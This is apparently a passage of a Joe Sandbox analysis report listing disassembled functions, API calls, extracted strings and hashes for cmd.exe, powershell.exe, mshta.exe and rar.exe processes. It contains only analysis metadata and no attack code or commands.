Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\cmd.exe
API String ID: 3580290477-1295598952
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: c81169df433b27a12e1cc1c9132f3532a980379d33cd2575e86bc7340386c5bf
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: 53414A77A08B1286FB14BF25EC904B9A694EF447D0F954075EA4E83B86DF38F4818360

Function 00007FF70AF0CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF70AF0CDBF
GetLastError.KERNEL32 ref: 00007FF70AF0CDE1

Strings

U, xrefs: 00007FF70AF0CD6B

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 282fe5029c600d15c771a1b98e9ef68149c2679d4dcc29aea0be631f16950fa8
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: DA41B433B19A4581EB20EF25E8447A9A761FB98794F904131EE4D87B98EF3CE411C750

Function 00007FF70AF0F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF70AF0F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF70AF0F6BA

Strings

:, xrefs: 00007FF70AF0F67E

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction ID: 975b8aa5349b7fe59d4f8252c5df83cf76329deb64f6c62841b581adffe15933
Opcode Fuzzy Hash: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction Fuzzy Hash: DC21D263B0828182FB30AB11D84466DA3B2FF84B84FD58079DA8D83694DF7CF9458B60

Function 00007FF70AEFFDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF70AEFFE08
RaiseException.KERNEL32 ref: 00007FF70AEFFE49

Strings

csm, xrefs: 00007FF70AEFFE36

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: 1d4f60ea1517fe62c7f16b6b65d17bc74f20ff4617534eb4d523170d01f06559
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: DB112B32619B8182EB659F15F840269B7E4FF88B98F984274DA8D07769EF3CD551CB00

Function 00007FF70AF107AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF107DC
GetDriveTypeW.KERNEL32 ref: 00007FF70AF1081C

Strings

:, xrefs: 00007FF70AF10805

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: 7e48712c4139e80ea67360a01ad329de592c93811834805290254f6a9369c430
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: 35014F23A1C20786FB20BF60D86627EA3A0EF48789FD50076D65D86795DF2CF5448B24

Analysis Process: powershell.exePID: 7484, Parent PID: 7340COMMON

Executed Functions

Function 00007FFD98C33428 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

/S^, xrefs: 00007FFD98C334E4

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID: /S^
API String ID: 0-1735012625
Opcode ID: d93727c7e34d574bdddb246dee9e198fcde7a703980b348b7be8fed6197a60ff
Instruction ID: 2589572e17c27cbaea3305191c5b96a146723e3b944a25ce412b68a622ab55f3
Opcode Fuzzy Hash: d93727c7e34d574bdddb246dee9e198fcde7a703980b348b7be8fed6197a60ff
Instruction Fuzzy Hash: AF319377B0D7D24FE3674BB868760A87FA0EF5362074A01FBC4C58B4A3E41618078765

Function 00007FFD98D041D8 Relevance: .8, Instructions: 836COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1948337678.00007FFD98D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f594d6b8853f9707bbfbd275b483eb90b26d2acfacaf77ce61f301908c3efcd
Instruction ID: 41d6a9143634b08faf379904a7b6da7c197e17cc1a27f7213ad8116de9a7ad1c
Opcode Fuzzy Hash: 5f594d6b8853f9707bbfbd275b483eb90b26d2acfacaf77ce61f301908c3efcd
Instruction Fuzzy Hash: F8322822B0E7C60FE7669B7858259B47FE1EF56624B8901FBD08DC70D3D918AC09C396

Function 00007FFD98D067F5 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1948337678.00007FFD98D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6406afb17310796f71a4c3a1d95a1f123cf8f98bbdb3d56058c2605e58905a0
Instruction ID: 9d7d3a5b28aa7910c7d598cd67aa7503eba57a849154eb5e5a843f196ec57d6c
Opcode Fuzzy Hash: c6406afb17310796f71a4c3a1d95a1f123cf8f98bbdb3d56058c2605e58905a0
Instruction Fuzzy Hash: EAD13932B0EBCA0FEBA5EFA868655B57BA0EF46710B4801FED05DC70D3D918A809C355

Function 00007FFD98C39880 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbeb42baebd59b61def939edf4ba6a8173ee105b9f542a2e74edbb0f0b96e870
Instruction ID: 62fd203b7262ad629dfdc57aaa0cb3733ea020efa8290c1752aebaa937fce530
Opcode Fuzzy Hash: fbeb42baebd59b61def939edf4ba6a8173ee105b9f542a2e74edbb0f0b96e870
Instruction Fuzzy Hash: 6B310671A1CB484FDB189B5CDC466B97BE0FB99310F00426FE449D3292CA70B856CBC2

Function 00007FFD98D0429F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1948337678.00007FFD98D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e49e2cf7fbcd83e328f86a3abe3bc0a0b6add40544ac34c8239ec3fde932f0
Instruction ID: a9030f1633afc84936f1b6e02336a82db55d86a5923b3188c9db72c166ef60e4
Opcode Fuzzy Hash: c5e49e2cf7fbcd83e328f86a3abe3bc0a0b6add40544ac34c8239ec3fde932f0
Instruction Fuzzy Hash: 2B21D422B4EAC70FE7B5DE68446197866C2EF547147D921BAD04DC31E2DE18AC088349

Function 00007FFD98D0459C Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1948337678.00007FFD98D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d486b3e8cb9b58163fad89264b137bb4a4b4c98a9495f7ec067f62dd8b531f
Instruction ID: ba05188af662782edf538ab8910faffa0a0bc60e60829cd1a04d7e5008ae36c6
Opcode Fuzzy Hash: d7d486b3e8cb9b58163fad89264b137bb4a4b4c98a9495f7ec067f62dd8b531f
Instruction Fuzzy Hash: D511E332F0E5C60FE7B5EE6854789B47BD2EF01A24BC911FAD09DC7096E919AC088345

Function 00007FFD98B1EBFF Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1946176642.00007FFD98B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98b1d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e4da84efb7a51fce14da70d86f151c2ca1ddb5975049c754ac93f51fb58f0f
Instruction ID: 9c0e9408a1dff8f61d8a322dca6f4dea372fe6bccb9cff7f4c49214ff08a8762
Opcode Fuzzy Hash: 84e4da84efb7a51fce14da70d86f151c2ca1ddb5975049c754ac93f51fb58f0f
Instruction Fuzzy Hash: 7B014F3160CE088F9AA8EF1DE48595237E0FB98321710065AD41EC755AD731F891CBC5

Function 00007FFD98C333B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42f32a37e772bc675462bcf5eaa5a2b152438d1bfc6ca3e4267f2be6b1a4fcf4
Instruction ID: b03a4346f22c50042c3e3a543cd057065c0f21f4a9650730cdfb5a1887b4614f
Opcode Fuzzy Hash: 42f32a37e772bc675462bcf5eaa5a2b152438d1bfc6ca3e4267f2be6b1a4fcf4
Instruction Fuzzy Hash: 2701A73120CB0C4FD744EF0CE051AA5B3E0FB85320F10052EE58AC3691DA32E882CB46

Function 00007FFD98C3A21B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd4a35e7127d5f5baf46144615dc5e6a211a4a51542be74970840f29657bc91
Instruction ID: 8586bcc3108c90a655bed744f041c5c99615412c5513799a09c0374666f08bb1
Opcode Fuzzy Hash: 7cd4a35e7127d5f5baf46144615dc5e6a211a4a51542be74970840f29657bc91
Instruction Fuzzy Hash: 9CE01A35804A4C8FCB54EF18C8598E97BA0FB68201B01429BE81DC7121DB729958CBC2

Non-executed Functions

Function 00007FFD98C38BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

N_^F, xrefs: 00007FFD98C38C6A
N_^6, xrefs: 00007FFD98C38BFA
N_^I, xrefs: 00007FFD98C38C72
N_^J, xrefs: 00007FFD98C38C7A
N_^<, xrefs: 00007FFD98C38C2A

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID: N_^6$N_^<$N_^F$N_^I$N_^J
API String ID: 0-4116931533
Opcode ID: 8201c494a57edf1f917aa58f11816ee0842afcba423ac7bfc73ad6212f0e6841
Instruction ID: 9ccd26a9974aed0b8c04a07ac9087a9ae32d7d0be93a8dad7808aa221081ab97
Opcode Fuzzy Hash: 8201c494a57edf1f917aa58f11816ee0842afcba423ac7bfc73ad6212f0e6841
Instruction Fuzzy Hash: 4021F167B084665FD30277EDBC209D8A780DB9437674802B3D368CB543D914709B8BCA

Function 00007FFD98C386FA Relevance: 6.3, Strings: 5, Instructions: 87COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FFD98C38722
N_^, xrefs: 00007FFD98C38712
N_^, xrefs: 00007FFD98C386FA
N_^, xrefs: 00007FFD98C38772
N_^, xrefs: 00007FFD98C387C2

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^$N_^
API String ID: 0-1162251571
Opcode ID: fabe0376f1128ec4eb520b6a8ae85e6c3b314c430e84815edeea17b3bb8dac87
Instruction ID: bc6809a7dcb282276c473df08714feeb7456a5e390c5869b2df9c73f6ad729d0
Opcode Fuzzy Hash: fabe0376f1128ec4eb520b6a8ae85e6c3b314c430e84815edeea17b3bb8dac87
Instruction Fuzzy Hash: E831B5A3E0E6CA1FE7275BB85C750D93FD0EF22608B0A00F7D5948A093FD292407820B

Function 00007FFD98C3897C Relevance: 5.1, Strings: 4, Instructions: 123COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FFD98C389C9
N_^, xrefs: 00007FFD98C38AC2
N_^, xrefs: 00007FFD98C38A2A
N_^, xrefs: 00007FFD98C38A7A

Memory Dump Source

Source File: 0000000A.00000002.1947344628.00007FFD98C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd98c30000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^
API String ID: 0-3900292545
Opcode ID: 59de52242f84f6dd98716c2ac6004c00a094ef74341dcc058ea40de1106d6b02
Instruction ID: ea78967cc3d05942fb6338a4f1477e7e5fe1c9cba041673b5e04e1c4da1caf2a
Opcode Fuzzy Hash: 59de52242f84f6dd98716c2ac6004c00a094ef74341dcc058ea40de1106d6b02
Instruction Fuzzy Hash: 664183A2A0E6C64FE32757794C7A199BFA0EF62318B4A41F7C0999F0D3EE1914078357

Analysis Process: mshta.exePID: 7516, Parent PID: 7356COMMON

Executed Functions

Function 000002C8DC510FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.1773774556.000002C8DC510000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002C8DC510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2c8dc510000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 3ba90de908cade9da4b1356683db2a294dfaaae7ade45a542dd755bc57e96eed
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: 719002084A580655E41411A10D4E65C655073C8190FD48580951790184D84D02971352

Analysis Process: powershell.exePID: 8300, Parent PID: 4592COMMON

Executed Functions

Function 00007FFD98D117D9 Relevance: .8, Instructions: 786COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1924229527.00007FFD98D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd98d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34ec4737735dd4f1b495e27a7f7e8e596db393084c71361410ae80cfe3d26b3
Instruction ID: 7295b8c8e4a1775cc89165e87479394148af65bcc76f80fd228da2d28de0eae8
Opcode Fuzzy Hash: a34ec4737735dd4f1b495e27a7f7e8e596db393084c71361410ae80cfe3d26b3
Instruction Fuzzy Hash: BF325722B0DBC90FEBAA9B6858615B57FE1DF46611B4811FFD09DC71D3DE08A80AC345

Function 00007FFD98C44DD3 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1922892323.00007FFD98C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd98c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2b8a5f9ad153f807c9050d211c8548660b49a23fd0da1b954eddc8d8937c16
Instruction ID: 46fc2c5fa89b4b326e888a0be0b1e775bbaf6f8cf51c159562ee69f84a6c87d9
Opcode Fuzzy Hash: 8f2b8a5f9ad153f807c9050d211c8548660b49a23fd0da1b954eddc8d8937c16
Instruction Fuzzy Hash: 8361F531E09A4C5FDB54DFACD8656ECBBF1EF4A310F5441AED049D7292CA35A842CB40

Function 00007FFD98D10AA4 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1924229527.00007FFD98D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd98d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09091f22f07d9f24994d87aa4363dd5e122e76606218555609dc2aa4873ec426
Instruction ID: 97656dff81d638345f6b590863dcbf7ef6621690180ffe0356beb5ae086e4df7
Opcode Fuzzy Hash: 09091f22f07d9f24994d87aa4363dd5e122e76606218555609dc2aa4873ec426
Instruction Fuzzy Hash: 9E210333B0DA590FEBB9A69C68256B873D0EF54B21B9811BBD05DC3093DD19AC0A83C5

Function 00007FFD98C43945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1922892323.00007FFD98C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD98C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd98c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 2048e8d23d6adaae327089f70b499e6805f99f0127ceaea11169a6f95f713a49
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 8E01677121CB0C4FD744EF0CE451AA5B7E0FB95364F50056DE58AC3695D636E881CB46

Analysis Process: rar.exePID: 9204, Parent PID: 9148COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1180
Total number of Limit Nodes:	37

Executed Functions

Function 00007FF69A3F54C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

stdin, xrefs: 00007FF69A3F672D
SFX, xrefs: 00007FF69A3F60CC
VER, xrefs: 00007FF69A3F5EBA
+, xrefs: 00007FF69A3F6535
rar.log, xrefs: 00007FF69A3F5CE5
*.%ls, xrefs: 00007FF69A3F59AF
SND, xrefs: 00007FF69A3F5D11
*?., xrefs: 00007FF69A3F598C
OFF, xrefs: 00007FF69A3F5E4B
default.sfx, xrefs: 00007FF69A3F60F4
NUL, xrefs: 00007FF69A3F5DB3
ERR, xrefs: 00007FF69A3F5D40
LOG, xrefs: 00007FF69A3F5CD0
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF69A3F5935
EML, xrefs: 00007FF69A3F5D6B
stdin, xrefs: 00007FF69A3F6236

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: 3b601c8ffdcec2478fffd6e8ae2fec467556165b478d5ca654343889a7712a71
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: 1EC2AE6292C6C381FA749F2481442BD36E1EF01B84F9981FECA0ECA6D5DF6DE945E350

Function 00007FF69A3E1884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

rar, xrefs: 00007FF69A3E18AA
exe, xrefs: 00007FF69A3E1897
q:, xrefs: 00007FF69A3E19DA
sfx, xrefs: 00007FF69A3E1884
,6, xrefs: 00007FF69A3E2F83
.ext, xrefs: 00007FF69A3E18C0
BK, xrefs: 00007FF69A3E19C5
%s%s , xrefs: 00007FF69A3E2A46

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: a4b2bcfa1cfb40bc8db102f4b798c0a2e8355e5dea3c7943d5ce14f76aad6685
Instruction ID: 7769cd4ef89821c7b0bfc5c387c28b6980bf99ee6e38007f11b493b792fc1258
Opcode Fuzzy Hash: a4b2bcfa1cfb40bc8db102f4b798c0a2e8355e5dea3c7943d5ce14f76aad6685
Instruction Fuzzy Hash: E3E2AE26A08AC28AEB70DB26D8402FD37E1FB95788F6540B9DA4DC7796DF39D954C300

Function 00007FF69A4248CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF69A424AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF69A3FCC90), ref: 00007FF69A424AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF69A417E7D), ref: 00007FF69A42492E
GetVersionExW.KERNEL32(?,?,?,00007FF69A417E7D), ref: 00007FF69A42496A
LoadLibraryExW.KERNELBASE(?,?,?,00007FF69A417E7D), ref: 00007FF69A424993
LoadLibraryW.KERNEL32(?,?,?,00007FF69A417E7D), ref: 00007FF69A42499F

Strings

rarlng.dll, xrefs: 00007FF69A42493A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
